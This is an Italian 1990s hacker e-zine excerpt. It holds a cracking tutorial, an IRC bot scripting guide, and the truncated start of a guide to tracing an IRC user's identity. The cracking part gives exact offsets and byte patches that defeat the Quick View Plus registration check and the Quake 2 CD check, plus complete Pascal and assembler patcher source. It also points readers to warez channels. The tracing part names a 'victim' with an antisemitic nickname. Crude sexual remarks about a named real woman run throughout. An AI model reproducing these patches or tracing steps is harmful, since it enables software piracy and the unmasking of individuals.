*Luogo: l'ufficio
*Dedicato a: alla mora di Striscia La Notizia e a tutto S0ftP98 (raga vi
informo che se riuscissi a scoparmi la bella velina Alessia
difficilmente vedrete la seconda parte di questa guida)
*Avvertenza: naturalmente tutto quello che e' scritto qui e' a scopo didattico!
Tutti i vari errori ortografici, spiegazioni errate e cazzate
scritte sono copirait del Dr_Slump!

### INTRO ###
Prima di tutto c'e' da dire che per la stesura di questa guida mi sono
liberamente ispirato a un testo inglese scritto da The Keyboard Caper dei
mitici Prozen Crew, quindi un caloroso omaggio tributo riconoscimento (per
dirla alla Frankie Hi Nrg) va anche a loro.
Fatta questa doverosa premessa vi starete chiedendo perche' ho scritto questa
guida, vero? Semplice perche' in italiano di guide del genere non ce ne sono
e quindi per la gioia di voi tutti ho pensato di rifarmi ad una guida straniera
per scrivere una in italiano sul cracking, che sia comprensibile a tutti e allo
scopo di dare le basi a coloro i quali vogliano impararare a craccare (a questo
proposito un ringraziamento va a SMa$teR che circa un anno fa mi ha fatto
avvicinare al cracking... 'tacci tua quante notte insonni!).
Questa guida si propone di insegnarvi come usare W32DASM, noto programmillo
utilizzato dalla maggior parte dei crackers (si proprio quelli della pavesi eh
eh eh) per sproteggere programmi e giochi. Unico tallone di Achille di tale
programma e' il fatto di non poter disassemblare (e' infatti questo il suo
compito) applicazioni scritte in Visual Basic; per tali applicazioni si usa un
programma chiamato Softice, anche questo famosissimo fra i crackers (questa
volta quelli del mulino bianco), del quale parleremo in una delle prossime
uscite.
Naturalmente usando questo programma non troverete i seriali o i codici da
inserire per craccare il programma (vi piacerebbe vero? anche a me piacerebbe
scoparmi la velina di Striscia, ma come si dice la vita non sempre e' facile!),
ma riuscirete a trovare il punto da patchare in modo che possiate inserire un
qualsiasi seriale o codice, o nel caso dei giochi (si' potrete sproteggere
anche questi!) saltare eventuali cd-check (sapete che sono vero?).
Per quanto riguarda la strutturazione di questa guida potete vederne il
contenuto poche righe sotto, vi consiglio di dare subito un'okkiata alla parte
5, anche solo uno sguardo in modo che leggendo gli esempi qui di seguito
riportati possiate capire perche' e' necessario sostituire alcuni numeri con
altri (per chi lo volesse sapere parliamo di assembling...).
Allora vi ho arrapat... ops volevo dire incuriosito un poco, no? Beh, che vi
devo dire, interrompete la lettura qui e andatevi a leggere l'altra mia guida
contenuta in questo secondo numero di BFI.
Riflessione:
BFI / FBI / X-FILES / ITALIA 1 /MEDIASET / CANALE 5 / STRISCIA LA NOTIZIA /
ALESSIA
cazzo allora e' destino ;)

CONTENUTO:
PARTE 1 - Gli Attrezzi del mestiere
PARTE 2 - Come craccare Quick View Plus 4.0
PARTE 3 - Come craccare Quake 2 3.10 (valido anche per versioni successive)
PARTE 4 - Patchers in Pascal e Assembling
PARTE 5 - Non sono numeri a caso! ;)
PARTE 6 - Una sorta di procedura generale

PARTE#1#: Gli attrezzi del mestiere
Allora, questi sono i vari programmilli che vi servono per iniziare la vostra
nuova professione, dove trovarli? Beh, chiedete in giro per la rete o su irc.
Se volete un consiglio andate su #warezitalia, qui sicurmente troverete
qualcuno che ve li potra' passare (ci sono anche io, nick Dr_Slump). Senza
questi programmi difficilmente riuscirete a fare qualcosa purtroppo quindi
trovateli, mentre li cercate io mi bevo una birra e vi aspetto qui:
1) W32Dasm 8.5 o versione successiva (usate FTP search: W32DSM89.ZIP o
www.expage.com/page/w32dasm)
2) Hacker's View 5.24
3) Norton Commander or Windows Commander
4) Turbo Pascal 7.0
5) TASM and TLINK 3.0
Okkappa li avete trovati? Bene, io le due mie birrette me le sono fatte e
quindi possiamo continuare. Allora, a questo punto connettetevi a internet,
lanciate il vostro browser, andate al sito di AstaLaVista, inserite il nome del
programma che volete craccare, attendete fiduciosi, scaricate il file
necessario e...
GRANDI AVETE SPROTETTO IL VOSTRO PRIMO PROGRAMMA!
Tranquilli tranquilli ora smetto di dire cazzate, e' l'effetto della birra
corretta con il gin che mi ha fatto male...

PARTE#2#: Come Craccare Quick View Plus 4.0
Prendete questo programma su siti come tucows o shareware.com e installatelo,
poi si inizia a sproteggere.

1) Lanciate ORDER32.EXE - questa e' la prima cosa che si fa quando si vuol
sproteggere un programma, vogliamo capire che tipo di protezione ha giusto?

2) Una volta avviato il programma dovrete vedere che succede nel caso in cui
inseriate un serial number totalmente inventato, cliccate su $49 Single User
License, Accettate (e scegliete la registrazione telefonica (UNLOCK BY PHONE)

3) Inserite un codice qualsiasi e segnatevi il messaggio di errore, che dovrete
poi re-inserire in w32dasm (su un fogliettino o dove cazzo volete!) il
messaggio che vi comparira' sara il seguente:
"You have entered an incorrect code. Please check your entry"
questo passo e' importantissimo, infatti conoscendo il messaggio di errore e
inserendolo successivamente in w32dasm scopriremo il punto in cui il programma
jumpa in caso di inserimento di codice errato. Uscite dal programma.

4) Lanciate Norton Commander e andate nella directory di Quick view plus, fate
una copia di backup di order32.exe (usate ad esempio order32.spj) e
succesivamente rinominate order32.exe in 1.exe (in modo che possa essere letto
da w32dasm) - fino a qui ci siete vero?

5) Lanciate ora w32dasm e disassemblate 1.exe e continuate a seguirmi con
fiducia.

6) Una volta che lo avete disassemblato, cliccate su STRING DATA REFERENCE,
cercate poi la stringa "You have entered an incorrect code. Please check your
entry"
(era il messaggio che avevamo trovato al passo 3 ricordate? quello che
avevo detto che era importante perche' blah blah blah), fate un doppio click
su quest'ultimo.

7) Chiudete la finestra STRING DATA REFERENCE e vedrete questa riga:

* Possible reference to String Resource ID=00041: "You have entered...
:004049F8 6A29 push 00000029
:004049FA FF353CCE4000 push dword ptr [0040CE3C]

Scommetto che vi state esaltando :)
Questo e' il punto dove il programma jumpa nel caso in cui voi inseriate un
codice inventato. Vedremo in seguito come si possa ovviare a questo problema.

9) Bene ora dovrete cercare l'ultimo confronto fra i vari JNE e JE, ovvero le
varie parti in cui il programma jumpa, prima della stringa di errore. Premete
up fino a quando non troverete qualcosa di interessante, nel nostro caso:

:004049CD 755A jne 00404A29
* Possible reference to String Resource ID=00032: "
You must select...
:004049CF 6A20 push 00000020
...
...
* Possible reference to String Resource ID=00040: "Unlock Error"

Direi che a questo punto mi sembra molto interessante o sbaglio? Analiziamo
meglio il significato di questa riga:

:004049CD 755A jne 00404A29
* Possible reference to String Resource ID=00032: "You must select...

Per dirla in modo molto maccheronico la stringa jne da' l'istruzione al
programma che in caso di codice errato vada alla stringa da noi trovata al
punto 7.

10) Bene, a questo punto conosciamo il punto dove il programma "
va" quando
inseriamo un codice sbagliato. Ora dovrete vedere se il programma funzionera'
cambiando "
jne" con "je" (mi sembra un tentativo logico).

In pratica (maggiori informarmazioni su je, jne alla PARTE 5 di questa guida):

75 or 0F85 jne jump if not equal - se non e' uguale va a
74 or 0F84 je jump if equal - se e' uguale va a - noi dobbiamo
selezionare questo

Assicuratevi che la barra di colore verde sia su :004049CD 755A jne 00404A29,
potrete vedere l'Offset address sotto lo schermo come @Offset 00003DCDh.
Bene, vi informo che questo e' il punto dove dovrete patchare il programma in
modo che possiate inserire un qualsiasi codice di registrazione.

11) Tornate al norton commander e lanciate HIEW ORDER32.EXE, premete F4 per
selezionare il decode mode (ASM), premete successivamente F5 e inserite 3DCD
(questo e' l'offset che abbiamo trovato al punto 10 poche righe fa, ricordate
noi dobbiamo patchare il programma in questo punto!). Se avete fatto tutto bene
dovereste vedere una cosa di questo genere:

* ____
* o8%8888,
* o88%8888888.
* 8'- -:8888b
* 8' 8888
* d8.-=. ,==-.:888b
* >8 `~` :`~' d8888
* 88 ,88888
* 88b. `-~ ':88888
* 888b ~==~ .:88888
* 88888o--:':::8888
* `88888| :::' 8888b
* 8888^^' 8888b
* d888 ,%888b.
* d88% %%%8--'-.
* /88:.__ , _%-' --- -
* '''::===..-' = --. `

Dai su che scherzavo, io non posso essere serio piu' di 10 minuti! Riprendo:

00003DCD: 755A jne 000003E29

00003DCF: 6A20 push 020
00003DD1: FF15 call w,[di]

12) A questo punto potrete cambiare il fottutissimo byte, premete F3, inserite
74 ; lo sostituite al 75 che vedete scritto sopra, vi ricordo ancora una volta:
75 jne jump if not equal
74 je jump if equal

13) Premete F9 per fare l'update di ORDER32.EXE. Uscite da HIEW.

14) Lanciate ORDER32.ECE, inserite un codice qualsiasi. Agili! Avete appena
craccato QVP 4.0!

Lo stesso risultati si poteva ottenere inserendo EB (vedere sempre la tabella
alla parte 5) in modo che il programma jump direttamente all'unlocked dialog
(vi consiglio questo metodo!); stesso discorso si ha se noi inseriamo un codice
reale: ci comparira' il mex di errore, che fare allora?
Lanciate nuovamente HIEW ORDER32.EXE, premete F4, selezionate Decode, premete
F5 e inserite 3DCD. Premete F3, inserite EB, (vedere parte 5) premete F9.
Il programma andra' cosi' direttamente all'"
Unlocked dialog".

Beh, avete craccato il vostro primo programma, avete capito tutto? Mi sarete
riconoscenti a vita per avervi fatto fare cio'? Avete sorelle o cugine carine e
volete presentarmele per ripagarmi dei mie sforzi? Nessun problema venitemi a
trovare su irc ;)
Cazzate a parte (nel senso che mi sarete riconoscenti a vita, per le sorelle e
le cugine io non scherzavo!) passiamo ora alla parte #3 dove craccherete il
vostro primo gioco (e che gioco!).

PARTE#3#: Come craccare Quake 2 3.10 (valido anche per versioni successive?)
Yo bella rigaz, la mia mitica guida (modesto vero?) continua con il crack di
quake 2 della id software, penso che questa tipologia di crack sia valida anche
per le versioni successive del patch anche se non ne ho la certezza (cazzo ne
fanno uscire una a settimana alla id e se permettete io mi sono rotto il
cazzo...). Armatevi di patch versione 3.10, gioco e si parte!

1) Installate la famosa patch in versione 3.10

2) Lanciate il file quake2.exe per far partire il gioco, ma sopratutto per
vedere che cosa accade se il cd non e' inserito nel lettore (non vedo perche'
dovrebbe!)

3) Sicuramente (almeno che non usiate una versione gia' craccata del patch) vi
comparira' la famosa scritta che e' necessario che il vostro cd sia inserito
nel lettore ("
You must have the Quake2 CD in the drive to play"). Voi
naturalmete il cd non lo avete, vuoi perche' possedete la versione rippata da
class, vuoi perche' avete fatto il full install da un cd di un vostro amico.
Segnatevi questo messaggio di errore, dedicatemi 5 minuti e non lo vedrete
piu'!

4) Uscite dal programma, rinunciate almeno per ora a far partire il gioco senza
cd inserito nel lettore :)

5) Lanciate Norton Commander e andate nella directory di Quake 2, fate una
copia di backup di quake2.exe (usate ad esempio quake2.spj) e succesivamente
rinominate quake2.exe in 1.exe (in modo che possa essere letto da w32dasm)

6) Lanciate ora w32dasm e disassemblate 1.exe (vi ricordo che questo e' il file
quake2.exe rinominato).

7) Una volta fatto cio' cliccate su STRING DATA REFERENCE e cercate:
"
You must have the Quake2 CD in the drive to play"
Cliccateci sopra due volte.

Come avrete sicuramente notato la procedura descritta fino a qui e' del tutto
simile a quella applicata per il crack di Quick View plus 4.0 ed e' comune a
moltissimi programmi, quindi se volete diventare buoni carckers (magari anche
piu' buoni di quelli con il rosmarino della pavesi!) tenetela bene a mente
(siccome so che siete degli smemorati ve la ricordero' dopo io nella sesta
parte di questa guida).

8) Chiudete la finestra di STRING DATA REFERENCE e vedrete tale riga:

* Referenced by a CALL at Address:
|:00429038 <---- what is that? (CHIAMATA)

:0042D4F0 E83BFFFFFF call 0042D430
:0042D4F5 803800 cmp byte ptr [eax], 00
:0042D4F8 750F jne 0042D509 <---- Chi vi volete scopare?

(Vi viene chiesto di inserire il cd)

* Possible StringData Ref from Data Obj ->"
You must have the Quake2 CD in "the
drive to play."


9) Mmmmh cerchiamo di capire quale sia la procedura di chiamata all'errore.
E' forse 429038? Bravi avete appena vinto una scopata con la velina di
striscia!
Cliccate su Goto Code Location button e inserite 429038

10) Vediamo cosa e' uscito fuori:
:00429034 85C0 test eax, eax
:00429036 7505 jne 0042903D <---- Chi volete chiavare?
:00429038 E8B3440000 call 0042D4F0 <---- la figlia di fantozzi!
(chiamata CD)

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00428FE5(U), :00428FF5(C), :00429019(U), :00429036(C)

:0042903D E84E710000 call 00430190 <---- la velina di striscia!

Scommetto che voi vogliate scopare la velina di striscia vero? Bene continuiamo
allora, per chi si volesse scopare la figlia di fantozzi la guida finisce qui.

11) Quindi dobbiamo cambiare 75 con EB all'address 429036. Facciamo questo
perche':

75 jne jump if not equal - verifica se e' uguale e solo dopo
ti scopi la velina
EB jmp jump directly to - invece di fare la verifica ci va
direttamente e ti scopi subito la
velina

Si', lo so che probabilmente avreste preferito scoparvi la velina piuttosto che
craccare questo gioco, come si dice, chi si accontenta gode... mi aspetto mail
di complimenti per il paragone.

12) Assicuratevi che la barra verde sia su 00429036 7505 jne 0042903D, potrete
vedere l'Offset address nello schermo sottostante @Offset 00028436h. Questo e'
il punto dove dovrete pacciare QUAKE2.EXE.

12) Tornate al norton commander e lanciate HIEW QUAKE2.EXE, premete F4 per
selezionare il decode mode (ASM), premete poi F5 e inserite 28436 (e' l'offset
non fatemi ripetere tutto quello che ho detto anche sopra!).
Dovreste vedere questo: (vi aspettavate l'ascii anche questa volta?):

00028436: 7505 jne 00002843D ---------- (1)
00028438: E8B3440000 call 00002C8F0 ---------- (2)
0002843D: E84E710000 call 00002F590 ---------- (3)
00028442: 8B0DEC0F4700 mov ecx,[000470FEC]
00028448: A388104700 mov [000471088],eax

13) Bene questo e' il punto dove dovrete cambiare il byte, premete F3, inserite
EB (come detto al punto 11 inseriamo EB perche' facciamo jumapre direttamente
il programma senza che questo vada a verificare se il cd e' inserito o no nel
vostro lettore), premete F9 per fare l'update di QUAKE2.EXE. Uscite da HIEW.

14) Vi informo che avete appena craccato anche QUAKE2, state diventando proprio
bravi, spero che vi siate gasati almeno un pokino e attenderete con impazienza
le prossime parti di questa favolosa guida per migliorare la vostra gia' grande
bravura (si' lo so, sono anche un adulatore, vi ricordo che se avete sorelle,
cugine ecc di contattarmi su irc!)

PARTE#4#: Patchers in Pascal e Assembling
Sicuramente vi sara' capitato di scaricare dei crack da internete giusto?
Avrete notato che questi sono distribuiti mediante dei file che vanno a
modificare direttamete i bytes del programma da craccare. Certamente li
vorrete fare anche voi vero? Bene ecco quello che vi serve!
Qui di seguito trovate i sorgenti in Pascal e Assembling per fare le vostre
patch! Naturalmente vi servono dei compilatori e le opportune modifiche, ma il
grosso e' fatto quindi buona fortuna!

Sorgente Pascal by TKC/PC: quello che trovate qui di seguito e' l'esempio per
il crack di Quick View Plus 4.0
AVVERTENZA: prima di compilare il programma cancellate le indicazioni che vi ho
scritto, le trovate inserite tra cancelletti "#" al di sotto delle note in
inglese.

---------------------------------<cut here>------------------------------------
Uses Crt;

Const A: Array[1..1] of Record {<-------- 1 byte to be patched}
A : Longint; #se vi ricordate noi dobbiamo
B : Byte; modificare 1 solo byte#

End =
((A:$3DCD;B:$EB)); {<--------------- offset "3DCD" and byte "EB" to be changed}
#non avete bisogno di spiegazioni#

Var Ch:Char;
I:Byte;
F:File;
FN:file of byte;
Size:longint;


Begin
Writeln('TKC''s Little Patch');writeln('Crack for QVP 4.0 by TKC/PC ''97');
Assign(F,'ORDER32.EXE'); {<-------------- filename to be patched}
{$I-} Reset(F,1); {$I+} #file da patchare#
If IOResult <> 0 then
begin
writeln('File not found!');
halt(1);
end;
For I:=1 to 1 do {<---------------------- 1 byte to be patched}

Begin
Seek(F,A[I].A);
Ch:=Char(A[I].B);
Blockwrite(F,Ch,1);
End;
Writeln('File successfully patched!');
End.
---------------------------------<cut here>------------------------------------

Sorgente in Assembler: come sopra rigaz! non fatemi copiare e incollare!

---------------------------------<cut here>------------------------------------
DOSSEG
.MODEL SMALL
.STACK 500h
.DATA
.CODE
PatchL EQU 6
Buffer Db PatchL Dup(1)
handle dw ?
intro db "TKC's Little Patch",0dh,0ah,"Crack for QVP 4.0 by TKC/PC '97$"

FileName db "ORDER32.EXE",0 ;<------- filename to be patched
notfound db 0dh,0ah,"File not found!$"
cracked db 0dh,0ah,"File successfully patched. Enjoy!$"
Cant db 0dh,0ah,"Can't write to file.$"
Done db "File has been made.$"
String db 0EBh,0 ;<------------- byte "EB" to be patched

START:
mov ax,cs
mov ds,ax
mov dx,offset intro ;point to the time prompt
mov ah,9 ;DOS: print string
int 21h
jmp openfile

openfile:

mov ax,cs
mov ds,ax
mov ax,3d02h
mov dx,offset FileName
int 21h
mov handle,ax
cmp ax,02h
je filedontexist
jmp write

filedontexist:
mov ax,cs
mov ds,ax
mov dx,offset notfound
mov ah,9 ;DOS: print string
int 21h ;display the time prompt
jmp exit

Write:
mov bx,handle
mov cx,0000h
mov dx,3DCDh ;<------------- offset "3DCD"
mov ax,4200h
int 21h

mov cx,patchl
mov dx,offset String
mov ah,40h
mov cx,01h
int 21h
mov ax,cs
mov ds,ax
mov dx,offset cracked
mov ah,9 ;DOS: print string
int 21h ;display the time prompt
jmp Exit


Exit:
mov ah,3eh
int 21h
mov ax,4c00h
int 21h
END START
---------------------------------<cut here>------------------------------------

PARTE#5#: Non sono numeri a caso! ;)
Nei crack che ho descritto sopra sicuramente vi sarete chiesti in base a che
cosa cambiavo i bytes e che cazzo significavano i vari jne, je e compagnia
bella vero? Beh, eccovi la spiegazione. Spero che finalmente vi sia tutto
chiaro!
Queste sono funzioni importantissime per il cracking ricordatevele!
Naturalmente non c'e' una regola da seguire per la loro sostituzione, vi serve
solo un po' di intutito, se non riuscite al primo colpo fate piu' tentativi (eh
eh eh anche io spesso faccio cosi') e non ve ne pentirete.

Hex: Asm: Significato Inglese
75 or 0F85 jne jump if not equal
74 or 0F84 je jump if equal
EB jmp jump directly to
90 nop no operation
77 or 0F87 ja jump if above
0F86 jna jump if not above
0F83 jae jump if above or equal
0F82 jnae jump if not above or equal
0F82 jb jump if below
0F83 jnb jump if not below
0F86 jbe jump if below or equal
0F87 jnbe jump if not below or equal
0F8F jg jump if greater
0F8E jng jump if not greater
0F8D jge jump if greater or equal
0F8C jnge jump if not greater or equal
0F8C jl

  
jump if less
0F8D jnl jump if not less
0F8E jle jump if less or equal
0F8F jnle jump if not less or equal

PARTE#6#: Una sorta di procedura generale
Allora in questa ultima parte cercheremo di elaborare una sorta di procedura
generale per sproteggere i vari programmi sotto windows utilizzando il w32dasm.
Vi ricordo nuovamente che con questo programma non e' possibile disassemblare i
programmi scritti in Visual basic. Per sprotegegre questo tipo di programmi vi
rimando alle guide successive! Quindi stay tuned ;)
Non e' detto che con questa procedura riusciate a sproteggere la maggiorparte
dei giochi e programmi in commercio.

1) La prima cosa da fare quando decidete di sproteggere il programma e'
lanciarlo e scoprire qual'e' il messaggio di errore che vi compare nel momento
in cui voi proviate ad inserire un codice errato, nel caso di un programma, o
proviate a far partire un gioco senza cd, nel caso di un gioco.
Bene, segnatevelo da qualche parte perche' vi sara' utile in seguito!

2) Lanciate il norton commander, fatevi una copia di sicurezza del programma e
rinominate l'exe principale come 1.exe in modo che possa essere letto da
w32dasm.

3) Lanciate w32dasm e disassemblate 1.exe .

4) Una volta fatto cio' (miii siete proprio bravi) cliccate su STRING DATA
REFERENCE inserite il messaggio di errore che avete trovato al punto 1 e
cercate gente cercate. Una volta trovata la stringa in questione cliccateci
sopra due volte.

6) Chiudete la finestra di STRING DATA REFERENCE e vedrete che vi comparira'
una certa scritta da dove dovrete dedurre la chiamata al messaggio di errore.

7) Cliccate su Goto Code Location button e inserite il numero della chiamata.
Esempio:

:00429034 85C0 test eax, eax
:00429036 7505 jne 0042903D <---- Chi volete chiavare?
:00429038 E8B3440000 call 0042D4F0 <---- la figlia di fantozzi!
(chiamata CD)

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00428FE5(U), :00428FF5(C), :00429019(U), :00429036(C)

:0042903D E84E710000 call 00430190 <---- la velina di striscia!

Questo esempio vi dovrebbe far capire come vi dovrete comportare con il fatto
dei jne, je e compagnia bella (rifatevi alla parte 5)

8) Potrete vedere l'Offset address nello schermo sottostante @Offset 00069696h.
Questo e' il punto dove dovrete pacciare FILE.EXE .

9) Tornate al norton commander e lanciate HIEW FILE.EXE, premete F4 per
selezionare il decode mode (ASM), premete poi F5 e inserite 69696 (e'
l'offset!).
Dovreste vedere una cosa tipo questa:

00028436: 7505 jne 00002843D ---------- (1)
00028438: E8B3440000 call 00002C8F0 ---------- (2)
0002843D: E84E710000 call 00002F590 ---------- (3)
00028442: 8B0DEC0F4700 mov ecx,[000470FEC]
00028448: A388104700 mov [000471088],eax

10) Bene, questo e' il punto dove dovrete cambiare il byte, premete F3 inserite
quello che avete dedotto dalla tabella del punto 5, premete F9 per fare
l'update di FILE.EXE . Uscite da HIEW.

11) Avete craccato il vostro programma.

Forse questa ultima parte risulta la piu' inutile dell'intera guida, prendetela
come una sorta di procedura da seguire di certo non in generale (ve ne
accorgerete nelle prossime parti di questa guida!).

### OUTRO ###

Beh, che dire siamo arrivati alla fine di questa prima parte della guida al
cracking del mitico Dr_Slump (eh eh eh sono io!). Ringrazio inoltre la velina
mora di Striscia la notizia (Alessia) per avere dato il suo apporto morale
(magari, e si che stavo qui a scrivere cazzate!) durante la stesura di questa
guida.
Nella prossima parte dovrei parlarvi di come utilizzare Softice per sproteggere
i programmi, sempre che non mi scopi la velina pluricitata, se accadesse
cercatevi altre guide magari anche migliori della mia.
Un saluto speciale infine va ad alcuni brotherz di SoftPj:
*SMa$teR: senza di lui tutto cio' non sarebbe stato possibile (bella frase?
penso di averla letta sulla copertina di qualche cd hiphop)
*PigPen: compagno di cazzate telematiche
*Mandrake: come sopra, dedico una frase anche a te "... una cagna resta tale
pure con il pedegree lascio quelle come te ad acquistarti sul mercato del mio
usato..."

*Tutti gli altri di S0ftPj: continuiamo a RAPpresentare la scena underground
ITALIANA

Alla prossima rigaz - ricordatevi delle sorelle e delle cugine ;-)

DR. SLUMP

SoFtPrOjecT 98 - Seminiamo dove gli altri han detto che non cresce un cazzo!

Dr_Slump


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍMiSCÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ C0ME FARSi UN B0T ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Autore: pIGpEN
Consumo: /
Musica: sUBHUMAN rACE -- SkiD RoW

Quanti di voi si sono trovati a parlare su irc con degli spiriti dai nomi
improbabili e che spesso sono cosi' maleducati da non rispondere, a dire
frasi insensate o a diventare i loro migliori amici?
Beh, o vi siete trovati davanti uno svitato come me che si mette sul computer
quando e' alterato o avete trovato un bot :)
Un bot e' solamente una serie di comandi che risponde a particolari eventi
su uno o piu' canali, per esempio da' l'op a persone di fiducia, prende a
calci i nemici ecc....
La sua funzione principale e' comunque quella di tener aperto un canale
settando un mode su di esso in modo da tener lontana o attirare la gente..

Ok, dopo questa piccola introduzione (cazzo sto facendo un articolo serio, mi
sembra incredibile non sono ancora degenerato) vediamo il modo piu' facile per
fare un bot :)

Naturalmente bisogna avere un po' di cosette:

1 shell
1 irc client
1 testa pazzoide

Ok avviate il vostro editor e cominciate a scrivere la vostra creaturina:

COMMENTI

Bene, se volete far vivere la vostra bestia, vi suggerisco di usare un po'
di commenti e di non essere disordinati nello scrivere il codice :)
Personalmente l'unica belva ordinata che ho creato era il mio pI66Y frutto
della mia mente completamente frullata :)

/comment Questo e' un commento

(beh non c'e' bisogno di spiegare :)

COMANDI INIZIALI

/nick nome-del-bot

es.
/nick Marijuana

Wow avete appena battezzato il vostro bambino :)
Dategli anche una personalita'

/set realname Io sono una creatura del male

Ecco cosi' va meglio :)

A questo punto vi consiglio di usare i seguenti comandi per far in modo
che la bestiola funzioni correttamente e non cresca spastica:

/set exec_protection off
/set beep off
/set display off

E ricordatevi naturalmente di questi:

/serv irc.stealth.net
/join #gesucristo

Ok, diciamo che avete messo al mondo una creaturina, l'avete battezzata ed
etichettata :)
Ora tocca insegnarle a parlare :)
Se sarete dei bravi papa' gli darete anche un po' di educazione (tutte le
mie creature sono un'enciclopedia di stronzate quindi ... non pretendiate che
io insegni alla mia bestiola a dire le preghiere su un canale #gesucristo,
chiedo scusa, ma non ne sono capace :)

E adesso parla, bastardo:

/on public "* merda* " / Uhmm si si sentivo una strana puzza ...

Questo comando fa dire al vostro bot che sentiva la puzza ... ogni volta
che qualcuno scrive nel canale la parola "merda" :)

/on public "* stronzo* " / Fottiti $0 !

Wow il vostro bambino ha imparato a vivere in questa societa'!
Infatti se qualcuno dice stronzo, lui risponde con un bel fottiti; notate
$0 che rappresenta la variabile in questo caso il nick di quello che ha
detto stronzo...

/on msg "ciao" /msg $0 Ciao :)

Questo comando rimanda un saluto al tipo che vi fa una query alla vostra
creaturina dicendo ciao.
Vediamo ora un comando un po' piu' complesso ....

/on msg "aiuto" /exec -msg $0 cat help.txt

Questo comando risponde alla persona che fa richiesta di aiuto mostrando il
file help.txt

Insegnamo ora al nostro bimbo che persone deve frequentare e quelle che
deve evitare nella sua lunga vita:

/on join pIGpEN /mode $C +o pIGpEN; Ciao padrone!

Con questo comando il bimbo ha capito che quando mi vede deve opparmi
( $C e' la variabile che rappresenta il nome del canale) e deve pure salutarmi
dignitosamente :)

/on mode "* * *-O pIGpEN" / Mai deoppare il mio padrone;/mode $C +o pIGpEN

Adesso il bimbetto ha capito che se qualcuno mi deoppa deve sgridarlo e
riopparmi :)

Questi comandi di op possono andare bene fino ad un certo punto, se ci
sono in giro dei fake ed entrano nel canale, il bot darebbe l'op anche a
loro, ma noi non vogliamo che questo accada quindi:

/on join * /who $0
(fa un whois su ogni tipo che partecipa al canale)
/on who "* * * pigpen *pigland.com *" /mode $C +o $1
(mi da' l'op solo se ho come ident pigpen e come ip per es. ppp1.pigland.com)

Vediamo ora come calciare un rompi palle:

/on join Sbirulino /kick $C Sbirulino

O facendo un po' i raffinati:

/on who "* * * sbirulino *polli.com *" /kick $C $1

Vabbe' preferisco la prima perche se lo sbirulino cambia ip me lo ritrovo
sul canale ...
Comunque ricordatevi che se usate il cmd /on who .... naturalmente prima
da qualche parte del vostro listato ci deve essere il comando:
/on join * /who $0

Supponiamo che questo fottuto sbirulino si faccia ancora vivo sul canale,
prenda l'op e ci kikki: il nostro bimbo deve essere pronto!

/on raw_irc "* KICK * * Marijuana*" /msg Marijuana rientra
/on msg "Marijuana rientra" /join #canale

Il nostro bot e' diventato un rompicoglioni che rientra ogni volta che lo
prendete a calci :)

Aggiungete anche questo:

/on disconnect * /serv nomeserver

Se per caso viene disconnesso sa gia' che strada deve prendere :)

E per gli inviti?

/on invite "Marijuana" /join $1

Personalmente non lascio andare le mie creature in mondi estranei e poi dopo
alle feste rischiano di fare brutte conoscenze :)

Ok qui ci sono un po' di comandi semplicissimi per fare la vostra creatura,
ora come la avviate?

irc -b -l nome-del-file-della-creatura

Se volete toglierla basta killarla!

Ok avete imparato i fondamenti di come si crea un bambino, in realta'
esistono molti altri modi per crearli per esempio con il tcl .... ma questo e'
il piu' semplice ed efficace :)

Eccovi qui un bot:

----------------------------------TAGLiA QUi----------------------------------

/serv irc.stealth.net
/nick Fogna
/set novice off
/set auto_away off
/set exec_protection off
/set realname Io vivo nella fognatura
/set display off
/set beep off
/join #fognatura
/on join * /who $0

/on mode "* * *+O Fogna" / Grazie 1000 ;/mode #fognatura +stn

/on who "* * * merda merdaio.com *" /mode $C +o $1; Ciao merda benvenuta
nella fogna!

/on who "* * * Lattuga *marcia.com *" /mode $C +o $1; Ciao Lattuga !

/on public "* pulita* " / La fogna non e' mai pulita !
/on msg "* help*" /msg $0 Fottiti!

/on raw_irc "*KICK * * Fogna*" /msg Fogna rejoin
/on msg "Fogna rejoin" /join #fognatura
/on disconnect * /serv irc.stealth.net

----------------------------------TAGLiA QUi----------------------------------

Ci sono bot molto evoluti, addirittura non si riconoscono dalle persone
(vedi pIGpEN ;) ci sono bot cattivi, altri che lavorano assieme ad altri bot,
insomma, basta incominciare poi se si e' abbastanza deviati si fa anche ridere
:)

pIGpEN


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍMiSCÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ iND0ViNA CHi, Gi0CHi P0RC0Di' ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Premetto che questo articoletto NON E' ASSOLUTAMENTE farina del mio sacco
ma devo ringraziare il MITICO e GRANDE PHOENYX per avermi insegnato
questo trucchetto.

[A] Come risalire all'identita' di una persona collegata ad Internet?

Beh, non sempre si riesce a farlo, ma quando si riesce, diciamo che e'
molto divertente .. :)
Il materiale necessario e' il seguente :

A) TraceRoute
Lo trovate o insieme a Win95 (per vedere se e' installato, fate esegui :
tracert) o con alcune suite per internet (cercatelo su www.tucows.com)
o meglio ancora usate Linux ..

B) Finger
O utilizzate il Finger presente in Mirc (ALT+G), ma non sempre va,
o utilizzate un Finger come quello che e' dato insieme al WS_FTP PRO (per
esempio, non venite tutti a chiedermi di darvi il wsftppro, ci sono 3000
programmi che fanno da finger) oppure, tanto x cambiare, usate Linux...
(a voler esagerare potreste usare il Telnet, sulla porta 79 ma onestamente
non so quali sono i comandi da dare, scaricatevi l'RFC del finger se vi
interessa e volete fare i brillanti :-))

C) Un Cervello funzionante
Qui non vi posso aiutare :)


Allora, la tecnica e' semplice:

1) Scegliete la vittima, nel nostro esempio sara' il nick Ebreo
2) Fate un /dns Ebreo nel mirc, il mirc vi dira' 123.123.123.123
